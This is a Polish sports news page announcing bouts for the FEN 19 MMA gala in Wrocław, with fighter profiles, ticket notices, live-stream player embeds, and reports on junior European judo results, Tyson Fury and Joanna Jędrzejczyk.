Znamy zatem już trzy pojedynki podczas Fight Exclusive Night 19 „Bitwa o Wrocław”. Jeszcze dużo niewiadomych przed nami, bądźcie czujni!

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet/, Biletyna.pl, Eventim.pl, Kupbilet.pl

FEN19. ARAB VS RUBY: Dlaczego warto obejrzeć walkę?

Walka „Araba” z „Rubym” będzie jednym z głównych wydarzeń gali Fight Exclusive Night, która odbędzie się 14 października we Wrocławiu. Fani ostrzą sobie apetyt na ten pojedynek, gdyż po raz pierwszy w historii federacji odbędzie się „Freak Fight”. Starcie odbędzie się w formule MMA, w kategorii do 77 kg. Już dziś kup bilet na tą walkę na www.fen-mma.com/bilet. Do godziny „zero”

Z tej okazji postanowiliśmy znaleźć 10 powodów, dla których tę walkę trzeba obejrzeć na żywo z wysokości trybun. Oto one:

  1. Debiut obu zawodników na zawodowstwie. Intuicja podpowiada nam, że to będzie dobra walka, a nieprzewidywalność powoduje, że nie umiemy sobie dziś wyobrazić jak starcie będzie wyglądało. Kopnięcia? Walka w stójce? Parter? Duszenie? Wszystko się może wydarzyć.
  2. Niepewność. To właśnie ona kręci nas najbardziej. Wiemy, że spotka się ze sobą dwóch ambitnych gości, którzy będą chcieli „z buta” wjechać do klatki i z przytupem rozpocząć swoją karierę w MMA. Nie wiemy jednak, kto jest lepiej przygotowany i kto ma więcej argumentów czysto sportowych przed tym starciem. Jak będzie?
  3. Pierwszy „Freak Fight”. Poza wysokim poziomem pojedynków, który od zawsze był wizytówką FEN, teraz do tego wszystkiego dojdzie walka dwóch osób, które nie wywodzą się stricte ze sportu. To z pewnością będzie wartością dodaną dla federacji.
  4. Wysoki poziom walki. Obaj zawodnicy od dłuższego czasu ciężko trenują, więc poziom walki powinien stać na wysokim poziomie. To nie będzie walka celebrytów, a osób, które będą potrafiły wnieść solidną jakość sportową.
  5. Przedostatnia walka. Zanim „Arab” i „Ruby” wejdą do oktagonu, to odbędzie się już osiem walk. Wrocławka publiczność będzie już wyjątkowo rozgrzana, kiedy zawodnicy staną naprzeciwko siebie.
  6. Wrocław – dobry gospodarz. FEN po raz siódmy zawita do Stolicy Dolnego Śląska, a to jest gwarancja znakomitych emocji. Każda gala, która odbyła się we Wrocławiu, była wyjątkowym widowiskiem.
  7. Nowi kibice na trybunach. Dwóch raperów, którzy mają liczne grono swoich fanów z pewnością przyczynią się do tego, że ich odbiorcy również zawitają do Wrocławia. Nowi fani FEN? Jesteśmy na tak!
  8. Jesteśmy z chłopakami w stałym kontakcie – obaj trenują w pocie czoła do tego pojedynku. To nie tylko gadanie i mydlenie oczu – każdy podchodzi do tej walki na serio i wie, że dużo osób będzie liczyło na znakomite widowisko.
  9. Prezes wie, że czekają nas wielkie grzmoty. Prezes mówi, prezes wie. Plan na zorganizowanie tej walki był już dawno temu i w końcu dojdzie ona do skutku. Na pytanie o stosowność organizowania tego pojedynku, Jóźwiak odparł krótko: jestem pewien, że czeka nas znakomity pojedynek.
  10. Zwycięzca będzie łakomym kąskiem… dla wszystkich zawodników z kategorii do 77 kilogramów. Lepszy z raperów zacznie się liczyć w stawce i ma szanse być wiodącą postacią w kontekście kolejnych gal. Jak będzie? Nie wybiegajmy w przyszłość, ale stawka jest naprawdę spora.

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet/, Biletyna.pl, Eventim.pl, Kupbilet.pl.

Nowak VS Głąb na FEN 19!

Poznaliśmy kolejnych bohaterów gali Fight Exclusive Night 19, która 14 października odbędzie się we Wrocławiu. W oktagonie Hali Orbita zobaczymy pasjonujące starcie dwóch wojowników rywalizujących w formule MMA w kategorii do 70 kilogramów. Naprzeciw siebie w klatce staną Patryk Nowak (4-1, 1 KO, 2 SUB) i Mateusz Głąb (4-0, 1 KO, 2 SUB).

Nowak to utalentowany grappler, który wywodzi się z zapasów. Jako junior i kadet odnosił wiele sukcesów na krajowym podwórku, często sięgając po najwyższe laury. Znaczną część swojej kariery spędził w Szwajcarii, gdzie trenował pod okiem Robsona Dantasa w brazylijskim klubie Kimura Nova Uniao.  Zawodowo zadebiutował w 2016 roku, kiedy to na punkty wygrał z Anthony’m Mullerem. Potem zwyciężał jeszcze trzy razy z rzędu, każdy z pojedynków kończąc przed czasem.  Choć  w swojej pierwszej walce dla Fight Exclusive Night podczas FEN17 Baltic Storm przegrał ze słynnym Piotrem Hallmannem, to tym razem z pewnością zrobi wszystko, by zejść z maty z pucharem.

Niespełna 26-letni Głąb sportowo „dojrzewał” pod szyldem Fight Excluisive Night, gdyż to właśnie w barwach FEN stoczył 3 z 4 zawodowych walk. Debiutował podczas  FEN10 w Lubinie, poddając w trzeciej rundzie Pawła Kordylewicza. Potem, po jednogłośnej decyzji sędziów, Głąb z klatki wychodził zwycięsko pokonując jeszcze Michała Miłka i poddając na FEN 15 Leonida Smirnova. Warto nadmienić, że zawodnik ten wywodzi się z taekwondo, w którym Puchar Świata i Puchar Europy oraz stoczył łącznie ponad 150 walk.

– Nowak musi wygrać, bo ostatnio stracił zero w rekordzie, co wyraźnie go boli. Jednocześnie obaj zawodnicy trzy z czterech swoich zwycięskich walk zakończyli przed czasem. To daje jasny sygnał: będzie się działo – powiedział Paweł Jóźwiak, prezes Fight Exclusive Night.

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.

Nowak kontra Głąb na FEN19!

FEN na targach FIWE!

Już w najbliższy weekend, 9 i 10 września odbędą się targi FIWE – największe w Polsce targi fitness. Podczas imprezy swoje stoisko będzie miała również federacja Fight Exclusive Night.

To znakomita okazja, by spotkać się z najlepszymi zawodnikami, występującymi w federacji. Podczas  targów swoją obecnością zaszczycą państwa między innymi  Róźa Gumienna, Paweł Biszczak, Kamil Łebkowski, Arkadiusz Wrzosek oraz Bartłomiej „Ruby” Brzeziński.

Występ gwiazd FEN podczas targów FIWE będzie podzielony na dwie części. Pierwsza, która odbędzie się w sobotę, obejmie trening medialny, kiedy to będzie można z bliska przyjrzeć się umiejętnościom zawodników. Start o godzinie 14. Druga, niedzielna, to konferencja prasowa, w której kibice oraz dziennikarze będą mogli „przepytać’ swoich ulubieńców oraz poznać ich najskrytsze sekrety. Początek o godzinie 12.

Podczas imprezy, która odbędzie się w Warszawskim Centrum EXPO XXI, można spodziewać się konkursów z nagrodami, a zawodnicy będą „do dyspozycji” swoich fanów. Nie zabraknie autografów oraz okolicznościowych zdjęć. To znakomita okazja do tego, my na kilka tygodni przez galą Fight Exclusive Night 19 „Bitwa o Wrocław” poznać swoich idoli, a kto wie, być może zaszczepić w sobie miłość do MMA i K-1.

– Cieszę się, że wystąpimy podczas targów FIWE, bo to impreza, które generuje duże zainteresowanie sportowych pasjonatów. W ofercie mamy przygotowane naprawdę spore atrakcje dla wszystkich fanów MMA i K-1. Podczas imprezy będzie wiele naszych gwiazd, będzie można z nimi porozmawiać oraz zobaczyć w akcji podczas treningu medialnego. Skracamy dystans, wychodzimy naprzeciw swoich fanów. Chcemy, aby dzięki takim imprezom jak ta, identyfikowali się oni z naszymi wojownikami – powiedział Paweł Jóźwiak, prezes FEN.

Gdzie? EXPO XXI Warszawa ul. Prądzyńskiego 12/14, 01-222 Warszawa

Co? Targi FIWE – Największe w Polsce targi fitness

Kto? Fight Exclusive Night – stoisko największej w Europie organizacji MMA i K-1

Atrakcje? Spotkanie z zawodnikami, trening medialny, konferencja prasowa, konkursy, wspólne zdjęcia, autografy.

Zawodnicy: Róża Gumienna, Arkadiusz Wrzosek, Alan Kwieciński, Marcin Szreder, Marian Ziółkowski, Kamil Paczulski, Bartłomiej "Ruby" Brzeziński, Andrzej Grzebyk, Kamil Łebkowski, Paweł Biszczak, Wojciech Wierzbicki, Igor Kołacin.

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.

Łopaczyk kontra Błeszyński na FEN 19!

Znamy kolejne zestawienie na gali FEN 19 „Bitwa o Wrocław”. 14 października w Hali Orbita o podbój stolicy Dolnego Śląska powalczą Tymoteusz Łopaczyk (2-0, 2 SUB) i Adrian Błeszyński (4-1, 3 KO, 1 SUB). Pojedynek na zasadach MMA odbędzie się w kategorii wagowej do 77 kilogramów.

Łopaczyk to nowa postać na polskim rynku mieszanych sztuk walki, jednak trenujący na co dzień w Bebson Gold Team wojownik już dziś może pochwalić się wieloma sukcesami na swoim koncie. To świeżo upieczony mistrz Polski w MMA. Pierwszy tytuł wywalczył w grudniu 2016 roku podczas ALMMA 125, drugi w marcu 2017 podczas FORUM MMA w Warszawie na PGE Stadionie Narodowym. Zdaniem wielu ekspertów, 21-letni Łopaczyk, który znakomicie czuje się w walce w parterze, to jeden z najlepiej zapowiadających się polskich zawodników młodego pokolenia. Jego trener i wielki autorytet, Sławomir Grabowski, uważa, że przed Tymoteuszem stoi świetlana przyszłość, a determinacja oraz upór w dążeniu do celu z pewnością pomogą mu w spełnieniu wszystkich marzeń. Jak sam podkreśla, MMA jest całym jego życiem, a praca pod okiem Grabowskiego może wynieść go na sam szczyt. Ostatnio Łopaczyk otrzymał nominację na brązowy pas w Brazylijskim jiu-jitsu. Walka we Wrocławiu będzie jego debiutem w federacji FEN i największym jak do tej pory wyzwaniem w sportowej karierze.

Błeszyński to stary-dobry znajomy wszystkich kibiców FEN. Urodzony w Dąbrowie Górniczej fighter pod szyldem federacji wystąpi już po raz czwarty w karierze. Podczas 18. edycji, która odbyła się w Koszalinie, pewnie pokonał przez poddanie Piotra Tutkowskiego. Wcześniej mierzył się na FEN 14 z Łukaszem Stankiem i FEN 11 z Tomaszem Lepiarskim. Jego widowiskowy styl powoduje, że każdy pojedynek 30-letniego „Aresa” budzi ogromne zainteresowanie kibiców. To będzie jego drugie starcie w 2017 roku i drugie w barwach FEN.

– Doświadczenie przemawia za Błeszyńskim, bo to „stary wyga”, co pokazał chociażby w Koszalinie. Łopaczyk to wulkan pozytywnej energii i wiecznie uśmiechnięty gość, który właśnie z uśmiechem na ustach rozprawia się z kolejnymi rywalami. Rozwija się w błyskawicznym tempie, ale teraz stanie naprzeciw człowieka-skały. Zobaczymy, sam jestem ciekawy jak to się skończy – powiedział Paweł Jóźwiak, prezes FEN.

Czwarte zestawienie FEN 19 „Bitwa o Wrocław” jest już zatem znane. Czekamy na odkrycie kolejnych kart!

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl,

Łopaczyk kontra Błeszyński powalczą o podbój Wrocławia!

Trybson z kontraktem FEN, Gumienna i Wrzosek powalczą we Wrocławiu

Stało się! Paweł „Trybson” Trybała (3-2, 3 KO) został nowym zawodnikiem federacji Fight Exclusive Night. W „Bitwie o Wrocław” zobaczymy Różę Gumienną (8-0) oraz Arkadiusza Wrzoska (7-3).

„Trybson” był jednym z uczestników „Summer Camp”, czyli obozu zorganizowanego przez FEN w sierpniu. Po bardzo dobrej postawie na treningach i sparingach z najlepszymi wojownikami zrzeszonymi w federacji zapracował sobie na kontrakt. Paweł Jóźwiak uważa, że Trybała „ma papiery” na wielkiego zawodnika i niewykluczone, że już podczas najbliższej gali, która 14 października odbędzie się we Wrocławiu, zobaczymy go w oktagonie. – Czemu nie? Jest taki pomysł, pracujemy nad tym. Zobaczymy co się wydarzy. Paweł chce się bić, jest szalenie ambitny. Wierzę w niego, to fajny chłopak i perspektywiczny zawodnik.

Sam „Trybson” angażem w federacji FEN spełnia swoje marzenia, sam powiedział w jednym z wywiadów, każdy kolejny pojedynek to dla niego misja, którą ma zamiar przejść bez szwanku. – Obiecałem córeczkom, że będę wojownikiem i będę walczył. Przegrać nie mogę, bo dałem słowo. Czekam na kolejny pojedynek, kto wie, być może nawet we Wrocławiu? – zakończył.

Kolejne starcie w oktagonie FEN stoczy Róża Gumienna. Przyszła pani doktor Wychowania Fizycznego będzie broniła mistrzowskiego pasa federacji w K-1. Limit wagowy tego starcia to 65 kilogramów. – Róża nie walczyła u nas od stycznia, to najwyższy czas, żeby to zmienić. Ona jest z Wrocławia, ma w swoim mieście fanów, którzy nie wybaczyliby nam, gdybyśmy pominęli ją w rozpisce walk na „Bitwę o Wrocław”.

Arkadiusz Wrzosek nudy nie lubi i nudzić nie zamierza się przez najbliższe pięć tygodni, kiedy to wejdzie w decydującą fazę przygotowań do FEN 19. Po pewnym zwycięstwie w połowie marca na warszawskim Torwarze stoczył jeszcze dwa pojedynki i oba wygrał przed czasem. Mimo tego, że w październiku zobaczymy go już po raz czwarty, to sam podkreśla, że jest głodny kolejnych pojedynków i na pewno zrobi wszystko, aby to jego ręka była po walce w górze.

– O walce wiem już od kilku tygodni, trenuję w pocie czoła, by móc cieszyć się ze zwycięstwa. Jestem zdrowy i mentalnie gotowy na wszystko. Wygram! – zapowiada pewny siebie Wrzosek.

Czekamy na decyzję, czy „Trybson” wystąpi we Wrocławiu, rywalkę dla Gumiennej i przeciwnika Wrzoska. Karta 19. edycji zapełnia się coraz bardziej. Kolejne informacje na temat „Bitwy o Wrocław” wkrótce.

Imavov kontra Michalski na FEN 19!

Nassourdine Imavov (2-1, 1 KO, 1 SUB) skonfrontuje się z Michałem Michalskim (5-2, 2 KO, 1 SUB) podczas FEN 19 „Bitwa o Wrocław”. Pojedynek na zasadach MMA odbędzie się w kategorii do 77 kilogramów.

Nassourdine Imavov to młodszy brat Daguira, który jest znaną postacią dla wszystkich kibiców mieszanych sztuk walki w Polsce. Starszy z braci najpierw wygrał podczas 16. edycji z Bartłomiejem Koperą, by dwie galę później w Koszalinie rozprawić się z Kamilem Łebkowskim. Za każdym razem do Polski przylatywał ze swoim młodszym bratem, który teraz dostanie szansę zadebiutowania w oktagonie FEN. Nassourdine w swoim dorobku ma trzy zawodowe walki, w tym dwie zwycięskie. W marcu 2016 roku pokonał przez poddanie Saida Magomeda Tachaeva, rok później skończył przez TKO w pierwszej rundzie Paula Lawrence’a. Żaden z jego pojedynków nie wyszedł nawet poza pierwsze starcie.

Jego rywalem będzie Michalski, czyli stary-dobry znajomy federacji FEN. Michał zadebiutował jeszcze w białym klatkoringu podczas 5. edycji, kiedy to wygrał z Adamem Niedźwiedziem. Swoją szansę dostał podczas kolejnej gali, kiedy pokonał Mariusza Radziszewskiego . Na FEN 9 „Go For It” zwyciężył z Rafałem Blachutą. Jego jedynym pogromcą podczas występów dla Fight Exclusive Night jest Davy Gallon.

– Daguir polecił mi swojego brata, który jego zdaniem będzie w przyszłości lepszy od niego. Warunki fizyczne ma imponujące, widziałem go podczas kilku treningów – chłopak robi ogromne wrażenie. Skonfrontuje się z Michałem Michalskim, którego rok w naszej federacji nie było, ale który jest bardzo doświadczony i głodny kolejnych pojedynków. Kto wygra? Gdybym wiedział, to pewnie bym obstawił werdykt tego pojedynku u bukmachera. Nie wiem, naprawdę nie mam pojęcia. Szykuje się ciekawe starcie – zapowiada ten pojedynek Paweł Jóźwiak.

Znamy już zatem pięć pojedynków FEN 19 „Bitwa o Wrocław”. Kolejne zestawienia zostaną podane w kolejnych tygodniach.

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.

Wrzosek powalczy o pas na FEN 19!

Arkadiusz Wrzosek (7-3) stanie przed szansą wywalczenia pasa federacji FEN w wadze ciężkiej w formule K-1. Jego rywalem będzie Nikolaj Falin (40-13). We Wrocławiu zobaczymy zatem rewanż, gdyż obaj panowie zmierzyli się już podczas FEN 11.

W pierwszm starciu górą był reprezentujący Niemcy Falin, który wygrał przed decyzję sędziów. Wrzosek w tamtym pojedynku pokazał się z dobrej strony, ale górę wzięło doświadczenie, które było po stronie o jedenaście lat starszego Falina.

25-letni Arkadiusz Wrzosek to wciąż młody, niezwykle perspektywiczny zawodnik wagi ciężkiej. Mierzący 201 cm fighter to aktualny mistrz Europy i mistrz Polski Muay Thai. Zdobywał także tytuły mistrza Polski Wushu i medale mistrzostw Polski w tajskim boksie. W 2015 roku był pretendentem do pasa zawodowego mistrza Europy WKU. W pamięci wszystkich kibiców zapadł szczególnie jego pojedynek z marca 2017 roku, kiedy to w warszawskim Torwarze po znakomitym widowisku pokonał Artura Bizewskiego podczas FEN 16. O starciu w Hali Orbita, jak sam przyznał w jednym z wywiadów, dowiedział się dużo szybciej, więc będzie przygotowany na sto procent na to, by podbić Wrocław. Warto dodać, że od porażki z Falinem jest niepokonany.

– Walka o pas dodatkowo mnie motywuję. Wiem, że jestem gotowy na każdego rywala. Młody chłopak idzie po raz pierwszy na trening, by zdobywać trofea. Dla mnie perspektywa wywalczenia pasa FEN to coś, co dodaje mi siły podczas każdego treningu – powiedział Wrzosek.

Liczący 36 lat Nikolaj Falin to postać doskonale znana w europejskim kickboxingu. Urodzony w Kazachstanie fighter był zawodowym mistrzem Niemiec IKBO. W 2011 roku triumfował w piątej edycji turnieju Bigger’s Better w Aarhus w Danii. Prowadzony przez polskiego trenera Franka Lukanowskiego zawodnik wygrał 40 pojedynków, a 13 przegrał. 14 razy nokautował swoich rywali. Od czasu pojedynku z Wrzoskiem do klatki wyszedł raz. W Polsce wygrał w pamiętnym pojedynku z Michałem Turyńskim.

– Trofeum w puli zawsze generuje olbrzymie emocje. Kibice Wrzoska, których pewnie znowu będzie mnóstwo na trybunach, zacierają ręce, bo ich ulubieniec znowu będzie chciał skraść show podczas FEN. Myślę, że to może być najlepszy pojedynek podczas całej gali – powiedział Paweł Jóźwiak, prezes Fight Exclusive Night.

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.

LIVE: XXVII Warszawska Granda na Pięści i Giry

Zapraszamy na transmisję telewizyjną na żywo z XXVII Warszawskiej Grandy na Pięści i Giry. 

 [kod]

XXVII Warszawska Granda

XXVII Warszawska Granda

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/XXIVWarszawskaGranda.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/XXIVWarszawskaGranda.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/XXIVWarszawskaGranda.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/XXIVWarszawskaGranda.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 19 Bitwa o Wrocław – Trening Medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 19 Bitwa o Wrocław. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.

[kod]

FEN 19 Bitwa o Wrocław – Trening Medialny

FEN 19 Bitwa o Wrocław – Trening Medialny

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 19 Bitwa o Wrocław – Ceremonia Ważenia

Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą FEN 19 Bitwa o Wrocław. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.

[kod]

FEN 19 Bitwa o Wrocław – Ceremonia ważenia

FEN 19 Bitwa o Wrocław – Ceremonia ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Drużynowo bez blasku

Z jednym medalem zakończyli Polacy rywalizację w mistrzostwach Europy juniorów w judo, które odbyły się w Mariborze. Na sam koniec zmagań zaprezentowały się nasze drużyny, jednak wypadły blado.

Biało-czerwoni mieli kilka szans medalowych, jednak tylko Julia Kowalczyk (57kg) stanęła na trzecim stopniu podium.

Trzy „piątki”

Z pewnością w skali szkolnej piątka to spełnienie marzeń i wielka radość. Jednak w przypadku rywalizacji na tatami jest zupełnie odwrotnie. Zajęcie piątego miejsca to dla zawodnika najgorszy z możliwych wyników. 

Anita Formela (+78kg) rywalizację w Mariborze zaczęła wręcz znakomicie, bo dwie walki wygrała przed czasem. Ubiegłoroczna brązowa medalistka mistrzostw Europy juniorów przegrała w półfinale z mistrzynią Europy kadetek Romane Dicko. W starciu o brąz Formela została w końcówce zdyskwalifikowana, a miała na swoim koncie dwa waza ari. Brązową medalistką została Turczynka Kubranur Esir.

Świetnie przygodę z mistrzostwami Europy rozpoczął Kacper Szczurowski (100kg), który w zaledwie osiem sekund rozłożył na łopatki Bośniaka Hadisa Jerlagicia. Łącznie stoczył cztery walki, z których wygrał dwie. W starciu o brąz Szczurowskiego pokonał Daniel Mukete. Dwa pojedynki wygrane przed czasem dawały nadzieję na sukces Jakuba Ozimka (90kg). W półfinale Polaka zatrzymał Mykyta Matlashevskyi. Ozimek stoczył mordercze starcie o brąz, ale po siedmiu minutach triumfował Jamal Petgrave.

Jedyny medal dla Polski wywalczyła Julia Kowalczyk (57kg), dla której było to trzecie z rzędu podium mistrzostw Europy juniorek. W Mariborze w decydującym starciu niespełna 20-letnia judoczka pokonała Jorien Visser. Pisaliśmy o tym tu. https://fightime.pl/pl/wiadomosci/kowalczyk-z-brazem-mistrzostw-europy/

W klasyfikacji medalowej trwała walka między Rosją a Azerbejdżanem. Ostatecznie lepsi okazali się reprezentanci Sbornej, którzy zdobyli dziewięć krążków (3 złote, 3 srebrne i 3 brązowe). Azerbejdżan zanotował siedem medali (3,2,2). Trzecie miejsce w klasyfikacji końcowej dla Francji, która wywalczył siedem krążków (3 złote i 4 brązowe). 

Francja i Azerbejdżan mają najlepsze drużyny

Reprezentacja Polski juniorek walkę w Drużynowych Mistrzostwach Europy rozpoczęła od starcia z Holandią. I na tym ją zakończyła… Polki przegrały 1:4, a zwycięstwo zanotowała Anita Formela. Szczęścia nie mieli również nasi juniorzy. Polacy trafili na mocnych Rosjan i przegrali 1:4.

Wśród kobiet triumfowały Francuzki, które w decydującym starciu pokonały Holenderki. Brązowe medale wywalczyły reprezentacje Rosji i Niemiec. Najlepszą męską drużynę ma Azerbejdżan, który w finale uporał się z Gruzją. Na trzecich pozycjach uplasowali się Brytyjczycy i Rosjanie.

Fot. pzjudo.pl

KM

Kowalczyk z brązem mistrzostw Europy

Julia Kowalczyk (57kg) wywalczyła brązowy medal mistrzostw Europy w judo, które odbywają się w Mariborze. Tym samym zawodniczka Polonii Rybnik powtórzyła ubiegłoroczny sukces z Malagi.

Kowalczyk sprawiła sobie wspaniały prezent na 20. urodziny, które będzie obchodziła za dwa tygodnie. Reprezentantka Polki udowodniła, że jej wcześniejsze wyniki nie były dziełem przypadku.

Brąz jej się trzyma

Kowalczyk zbiera dobre recenzje i na tatami radzi sobie coraz lepiej. Rok temu sprawiła sensację zdobywając mistrzostwo Polski w kategorii 57kg. 19-latka pokazała, że jest gotowa do rywalizacji na poziomie seniorskim. Najlepszym potwierdzeniem był tegoroczny występ w Grand Slam w Baku, gdzie Polka sięgnęła po brąz. Kowalczyk znalazła się również w drużynie, która w Warszawie wywalczyła srebro mistrzostw Europy. Judoczka z Rybnika miała okazję zaprezentować się w finałowym boju z Francją (0:5), a indywidualnie odpadła w 1/16 finału. Kolejne tegoroczne starty to występy w zawodach juniorskich. W pucharowych zmaganiach w Leibnitz i Gdyni 19-latka stawała na podium, odpowiednio zajmując trzecie i drugie miejsce.

W związku z osiąganymi przez Kowalczyk wynikami, nie było wątpliwości, że w Mariborze będzie walczyła o medal. W pierwszej walce odprawiła mistrzynię Europy kadetek z ubiegłego roku Gruzinkę Eteri Liparteliani. Iva Oberan nie była w stanie przeciwstawić się Polce, która wygrała przez waza ari. Ciężko było w półfinale. Kowalczyk nie udało się znaleźć recepty na Larissę van Krevel, która zanotowała dwa waza ari, a nasza zawodniczka jedno. Starcie o brąz było niezwykle wyczerpujące. Blisko siedem minut trwała walka Polki z Jorien Visser, ale to Kowalczyk mogła cieszyć się z medalu.

Dla młodej Polki to kolejny medal mistrzostw Europy juniorów. Trzeci z rzędu, ponownie brązowy. I jak tu nie wierzyć słowom piosenki Ryszarda Rynkowskiego? A tak poważnie, Julia Kowalczyk pokazała, że jest powtarzalna. Oby takie wyniki notowała jak najczęściej w startach seniorskich.

Czekamy

Polska ma szansę na poprawienie dorobku medalowego w Mariborze. Na walki o brąz czekają Anita Formela (+78kg) i Kacper Szczurowski (100kg).

Jak wypadli pozostali młodzi Polacy? Paulina Dziopa (78kg) pokonała Darię Kantsavayę z Białorusi, ale w kolejnej walce po niecałej minucie schodziła z tatami jako przegrana. Lepsza od Polki okazała się Niemka Lea Schmid. Sebastian Marcinkiewicz (81kg) zanotował jedną wygraną, a jego udział w mistrzostwach zakończył późniejszy brązowy medalista Jesper Smink. Dwie walki stoczył również Cezary Tchórzewski (73kg). 

Na podium nie znalazł się Jakub Ozimek (90kg). W starciu o brąz górą był Brytyjczyk Jamal Petgrave. 

Bez zwycięstwa rywalizację w Mariobrze zakończyli: Klaudia Cieślik (52kg), Anna Dąbrowska (57kg), Aleksandra Kaleta (52kg), Daria Tymann (78kg), Eliza Wróblewska (78kg), Dominik Majowski (100kg) i Krzysztof Załęczny.

KM

Fury wysyła sygnały

Niby zakończył karierę, jednak nikt nie ma pewności, czy ten stan się niebawem nie zmieni. Tyson Fury pojawił się na sali treningowej po dłuższej przerwie. Czy to jasny sygnał, że zamierza wrócić na ring?

Wokół 29-letniego olbrzyma z Wilmslow zawsze jest sporo zamieszania. Jesienią ubiegłego roku bokser ujawnił problemy, z którymi się zmagał i usunął się w cień. Nie na długo…

Już miał wracać

Ponoć kobiety ciągle zmieniają zdanie i nie mogą się zdecydować, czego chcą. Okazuje się, że niekoniecznie. Ten stereotyp stara się skutecznie obalić Tyson Fury. Blisko dwa lata temu stał się królem boksu, gdy w Dusseldorfie pokonał Władimira Kliczko i przerwał jego hegemonię w wadze ciężkiej. Zgarnął wszystko i został mistrzem świata federacji WBA, IBF i WBO. Cały świat był u stóp Fury'ego, który przystał na opcję rewanżu z Władimirem Kliczko. Stracił pas IBF, bo odmówił starcia z obowiązkowym pretendentem Wiaczesławem Głazkowem. Niby wszystko układane było pod rewanż z Władimirem Kliczko, ale do tej walki nie doszło. Terminy ustalone, ale w ostatniej chwili Fury tłumaczył się kłopotami zdrowotnymi. W końcu problemy Brytyjczyka ujrzały światło dzienne. Alkohol, narkotyki, depresja… Najbliżsi obawiali się o zdrowie i życie boksera.

Sam Fury pogubił się w całej sytuacji. Nie uniósł ciężaru sukcesu i z każdym dniem brnął coraz dalej z uzależnienie i walkę ze światem. Przyzwyczaił wszystkich do ostrej retoryki i nawet w takiej sytuacji jej nie unikał. W październiku ubiegłego roku podjął decyzję o zakończeniu kariery, a boks określił mianem „gów..”. Wystarczyło kilka tygodni, a kierunek, który obrał były mistrz świata wagi ciężkiej uległ totalnej zmianie. Fury snuł wizje na temat swojej walki z Anthony'm Joshuą. Poinformował nawet, że starcie odbędzie się w kwietniu przyszłego roku na stadionie Wembley. Niektórzy już ostrzyli sobie zęby. A w lipcu… Na jednym z portali społecznościowych Fury podziękował kibicom w pięknej podróży.

Chyba nie ma osoby, która byłaby w stanie określić, ile razy 29-latek zmieni jeszcze decyzję. Ostatnio poinformował, że nie wyklucza powrotu na ring. Musi tylko odzyskać licencję bokserską i zbić wagę. Pojawił się również na sali treningowej w Belfaście, co również może sugerować, że wcześniejsze deklaracje nie były czczym gadaniem. Ale czy w przypadku Fury'ego można mieć jakąkolwiek pewność?

Mistrz wierzy w powrót rodaka

Czempion IBF, IBO i WBA Anthony Joshua, który przygotowuje się do październikowej walki z Kubratem Pulewem nie wyklucza, że Tyson Fury wróci na ring. – Całe życie oddajesz boksowi. Możesz mieć rok lub dwa przerwy, ale wrócisz do tego – podkreśla 27-latek.

KM

Namajunas na drodze Jędrzejczyk

W lipcu awansowała na podium wagi słomkowej i poczuła zapach pasa mistrzowskiego. Czy będzie w stanie wyrwać go Joannie Jędrzejczyk? 4 listopada w Madison Square Garden Polka stanie do boju z Rose Namajunas.

Mistrzyni UFC ma status gwiazdy kobiecego MMA. Kolejną zawodniczką, która chce podjąć próbę zrzucenia jej z piedestału jest Rose Namajunas.

Jedna Polka utarła jej nosa

Zarówno Jędrzejczyk, jak i Namajunas rywalizowały z Karoliną Kowalkiewicz i Carlą Esparzą. Z tym, że Polka wychodziła zwycięsko z tych starć, a Amerykanka notowała porażki. W lipcu 2016 w Atlancie Namajunas stoczyła zacięty bój z Karoliną Kowalkiewicz. Panie rozpoczęły spokojnie, a w drugiej rundzie dały pokaz tego, co w kobiecym MMA najlepsze. Lepiej prezentowała się Polka, która skutecznie broniła się przed sprowadzeniami, atakowała kolanami i włączała mocne łokcie. W trzeciej odsłonie Polka kontynuowała strategię, a Namajunas starała się zaskoczyć łodziankę w parterze. Kowalkiewicz wygrała niejednogłośną decyzją sędziów.

